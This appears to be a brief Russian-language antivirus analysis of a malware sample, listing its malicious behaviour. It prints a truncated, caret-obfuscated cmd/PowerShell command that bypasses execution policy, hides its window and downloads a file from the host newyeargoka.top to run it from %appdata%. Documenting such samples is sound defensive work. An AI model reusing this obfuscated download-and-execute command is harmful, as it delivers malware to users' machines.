Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://newyeargoka.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "PoWershELL.EXe^ -exE^cuti^O^nP^o^LI^Cy Byp^A^ss -N^Op^RofI^L^e ^-w^i^N^D^OWs^tYl^e hI^ddEN^ (^New-^Ob^J^ECT ^sYST^eM.^NET.We^B^cli^EnT).^dO^Wn^LO^ADF^iLE('http://newyeargoka.top/read.p...
Сетевая активность
UDP
- DNS ASK ne###argoka.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "PoWershELL.EXe^ -exE^cuti^O^nP^o^LI^Cy Byp^A^ss -N^Op^RofI^L^e ^-w^i^N^D^OWs^tYl^e hI^ddEN^ (^New-^Ob^J^ECT ^sYST^eM.^NET.We^B^cli^EnT).^dO^Wn^LO^ADF^iLE('http://newyeargoka.top/read.p...' (со скрытым окном)
